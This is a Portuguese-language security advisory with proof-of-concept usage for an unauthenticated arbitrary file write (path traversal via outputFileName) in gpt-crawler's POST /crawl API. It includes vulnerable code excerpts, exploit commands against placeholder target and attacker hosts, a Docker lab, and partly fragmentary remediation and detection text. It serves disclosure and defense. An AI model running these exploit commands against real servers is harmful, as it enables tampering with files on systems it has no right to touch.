
CVE-2026-82286 — gpt-crawler <=1.5.1 gravação arbitrária de arquivos não autenticada via outputFileName (POST /crawl). PoC + laboratório Docker autossuficiente. CVSS 8.6, CWE-22.
Prova de conceito para uma gravação arbitrária de arquivos não autenticada no
BuilderIO/gpt-crawler (≈22k ★) por meio do
parâmetro outputFileName do endpoint da API POST /crawl.
| CVE | CVE-2026-82286 |
| Produto | gpt-crawler (BuilderIO) |
| Afetado | <= 1.5.1 (última versão; HEAD do branch padrão também afetado) |
| Classe | Path Traversal / Gravação Arbitrária de Arquivos (CWE-22, CWE-73) |
| CVSS 3.1 | 8.6 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (ALTA) |
| Autenticação | Nenhuma (não autenticada) |
| Pré-condição | Modo servidor de API em execução (npm run start:server) |
| Status | CONFIRMADO de ponta a ponta (sem correção em 2026-08-29) |
O servidor da API (src/server.ts) expõe POST /crawl sem autenticação. O corpo
JSON é analisado diretamente no Config do crawler; outputFileName é validado apenas como
z.string() — não há restrição de caminho:
// src/config.ts
outputFileName: z.string(),
Em src/core.ts, write() constrói o caminho de saída diretamente a partir dessa string
controlada pelo atacante e chama fs.writeFile() nela:
// src/core.ts (write)
const nextFileName = (): string =>
`${config.outputFileName.replace(/\.json$/, "")}-${fileCounter}.json`;
...
await writeFile(nextFileNameString, JSON.stringify(currentResults, null, 2));
Um atacante remoto e não autenticado controla, portanto, o caminho completo de um arquivo
gravado fora da área de saída storage/ pretendida — por meio de um caminho absoluto (/tmp/x,
/home/<user>/x) ou travessia ../. O conteúdo do arquivo é o resultado do crawl
[{title,url,html}], cujos campos vêm de uma página para a qual o atacante aponta o crawler
(defina url para um servidor que você controla), portanto o conteúdo é influenciado pelo atacante.
A única restrição é o sufixo forçado -<N>.json (o nome sempre termina em .json) e o
invólucro de conteúdo JSON-array — é por isso que isso é classificado como gravação arbitrária
de arquivos (I:H), não um RCE limpo.
python3 exploit.py \
-t http://TARGET:3000 \
-u http://ATTACKER:8081/index.html \ # página cujo conteúdo vai para o arquivo gravado
-o /home/myuser/PWNED # -> grava /home/myuser/PWNED-1.json
O endpoint reflete o conteúdo do arquivo gravado na resposta HTTP. A prova empírica é
o arquivo aparecendo no caminho escolhido pelo atacante no sistema de arquivos do alvo (veja EVIDENCE.txt).
cd lab && ./run.sh
python3 ../exploit.py -t http://127.0.0.1:3000 -u http://127.0.0.1:8081/index.html -o /tmp/PWNED
docker exec gptc-vuln cat /tmp/PWNED-1.json # <- gravado fora de storage/, não autenticado
Encerramento: docker rm -f gptc-vuln; pkill -f 'http.server 8081'.
Um atacante de rede não autenticado pode criar ou sobrescrever arquivos em caminhos arbitrários
(sujeito às permissões do usuário do processo e ao sufixo -<N>.json) com conteúdo parcialmente
controlado pelo atacante. Dependendo da implantação, isso permite adulterar arquivos de
configuração/dados, corromper o estado do aplicativo (integridade/disponibilidade) e, em
alvos que posteriormente consomem um arquivo *.json gravado, pode ser encadeado ainda mais.
O sink é alcançável apenas no modo servidor de API (src/server.ts, iniciado via
npm run start:server / a implantação containerapp), não no modo CLI padrão. O
servidor vincula API_HOST (padrão localhost); implantações reais que expõem a API o definem
como 0.0.0.0 (como a imagem containerapp faz), tornando o endpoint remotamente alcançável.
outputFileName em relação a um diretório base fixo e rejeite o resultado se ele
escapar dele (path.resolve(base, name) + verificação de prefixo); remova .. e caminhos absolutos.POST /crawl.Procure por corpos de POST /crawl cujo outputFileName contenha /, \ ou .., e por
arquivos *-1.json aparecendo fora do diretório storage/ do crawler.
Pesquisa e PoC: Caio Fabrício (BiiTts).